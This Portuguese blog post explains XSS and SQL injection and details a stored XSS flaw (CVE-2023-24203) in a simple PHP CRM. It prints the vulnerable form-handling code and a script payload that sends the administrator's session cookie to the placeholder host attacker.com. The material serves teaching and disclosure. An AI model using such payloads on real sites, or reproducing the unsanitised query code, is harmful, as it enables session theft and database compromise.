CVE-2023-24203-and-CVE-2023-24204

Introdução

No cenário de segurança cibernética em constante evolução, as aplicações web continuam sendo um alvo principal para atacantes que buscam explorar vulnerabilidades. Recentemente, duas vulnerabilidades críticas foram descobertas no SourceCodester Simple Customer Relationship Management (CRM) System v1.0: CVE-2023-24203 e CVE-2023-24204. Essas vulnerabilidades, envolvendo Cross-Site Scripting (XSS) e Injeção de SQL, apresentam riscos significativos, incluindo execução arbitrária de código e acesso não autorizado. Compreender essas vulnerabilidades e seus impactos é essencial para desenvolvedores e profissionais de segurança protegerem os sistemas contra ameaças potenciais.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) é um tipo de vulnerabilidade que ocorre quando uma aplicação web permite que usuários injetem scripts maliciosos em páginas web visualizadas por outros usuários. Isso pode levar a ações não autorizadas em nome do usuário, roubo de dados e exploração adicional. As vulnerabilidades XSS podem ser classificadas em três tipos principais:

1. XSS Armazenado: O script malicioso é armazenado permanentemente no servidor de destino, como em um banco de dados, fórum de mensagens ou campo de comentários.
2. XSS Refletido: O script malicioso é refletido em um servidor web, como em uma mensagem de erro, resultado de pesquisa ou qualquer outra resposta que inclua parte ou todo o input enviado ao servidor.
3. XSS baseado em DOM: A vulnerabilidade existe no código do lado do cliente, em vez do código do lado do servidor.

Injeção de SQL

A Injeção de SQL é um tipo de vulnerabilidade que ocorre quando um atacante consegue manipular consultas SQL injetando código SQL arbitrário em uma consulta. Isso pode levar a acesso não autorizado, roubo de dados e outras atividades maliciosas. A Injeção de SQL normalmente ocorre devido à validação insuficiente de entrada e à falta de consultas parametrizadas. Os principais impactos da Injeção de SQL incluem:

1. Acesso Não Autorizado: Atacantes podem contornar mecanismos de autenticação para obter acesso não autorizado a um sistema.
2. Roubo de Dados: Atacantes podem exfiltrar informações sensíveis do banco de dados.
3. Manipulação de Dados: Atacantes podem alterar, inserir ou excluir dados no banco de dados.

Neste post de blog, vamos nos aprofundar em CVE-2023-24203 e CVE-2023-24204, explorando os detalhes dessas vulnerabilidades, seus vetores de ataque, impactos e estratégias de mitigação. Compreender essas vulnerabilidades em profundidade é crucial para proteger suas aplicações e dados contra possíveis explorações.

Causas Comuns de Injeção de SQL em Aplicações Web

As vulnerabilidades de Injeção de SQL geralmente são resultado de validação de entrada inadequada e más práticas de codificação. Algumas causas comuns incluem:

1. Falta de Consultas Parametrizadas: Não usar consultas parametrizadas permite que atacantes injetem código SQL malicioso em uma string de consulta.
2. Validação de Entrada Inadequada: Não validar corretamente as entradas dos usuários pode levar à execução de comandos SQL não intencionais.
3. Consultas SQL Dinâmicas: Construir consultas SQL dinamicamente, concatenando strings diretamente das entradas dos usuários, pode criar vulnerabilidades exploráveis.
4. Escapamento Insuficiente das Entradas do Usuário: Não escapar adequadamente caracteres especiais nas entradas dos usuários pode permitir ataques de injeção de SQL.
5. Código Legado: Bases de código mais antigas podem não seguir práticas modernas de segurança, tornando-as mais suscetíveis à injeção de SQL.

Causas Comuns de XSS em Aplicações Web

As vulnerabilidades de Cross-Site Scripting (XSS) são tipicamente causadas pela falha em lidar corretamente com a entrada e saída do usuário. Causas comuns incluem:

1. Codificação de Saída Incorreta: Não codificar a entrada do usuário antes de exibi-la em páginas web pode permitir a injeção de scripts maliciosos.
2. Validação de Entrada Inadequada: Não validar ou sanitizar as entradas dos usuários pode levar à execução de scripts injetados.
3. Entradas de Usuário Refletidas: Refletir entradas de usuários diretamente nas respostas sem validação ou codificação adequada pode resultar em XSS refletido.
4. Entradas de Usuário Armazenadas: Armazenar entradas de usuários sem sanitização adequada pode levar a ataques de XSS armazenado.
5. Manipulação de DOM: A manipulação insegura do Document Object Model (DOM) com base nas entradas dos usuários pode resultar em XSS baseado em DOM.

CVE-2023-24203: Encontrando um XSS Armazenado!

Resumo da Vulnerabilidade

A CVE-2023-24203 é uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado encontrada no componente get-quote.php do SourceCodester Simple Customer Relationship Management (CRM) System v1.0. Essa vulnerabilidade permite que um atacante injete scripts maliciosos nos parâmetros company e query, que são então armazenados no banco de dados e executados quando visualizados por um administrador, levando à execução arbitrária de código.

Detalhes da Vulnerabilidade

A vulnerabilidade reside no script get-quote.php, que processa a entrada do usuário a partir de um formulário de solicitação de orçamento. O código-fonte PHP é mostrado abaixo:

<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

O script recebe as entradas do usuário a partir do formulário (name, email, contact, company, services, other e query) e as incorpora diretamente em uma consulta SQL para armazenar os dados no banco de dados. Enquanto o campo services é sanitizado usando mysqli_real_escape_string e addslashes, os parâmetros company e query não são devidamente sanitizados ou codificados quando são refletidos de volta na resposta. Essa falta de sanitização e codificação adequadas permite a injeção e o armazenamento de scripts maliciosos no banco de dados.

Exploração

Para explorar essa vulnerabilidade, um atacante pode criar um payload que inclua código JavaScript malicioso no parâmetro company ou query. Quando o administrador visualiza a solicitação de orçamento, o script injetado será executado no navegador dele.

Exemplo de Payload de Exploração

Ao enviar o seguinte payload no parâmetro query:

<script>alert('XSS');</script>

O atacante pode acionar um ataque XSS quando o administrador visualizar a solicitação de orçamento.

Roubando Cookies do Administrador

Um payload mais prejudicial pode ser criado para roubar os cookies de sessão do administrador. Usando o seguinte payload no parâmetro query:

<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

O atacante pode enviar os cookies do administrador para um servidor remoto controlado pelo atacante.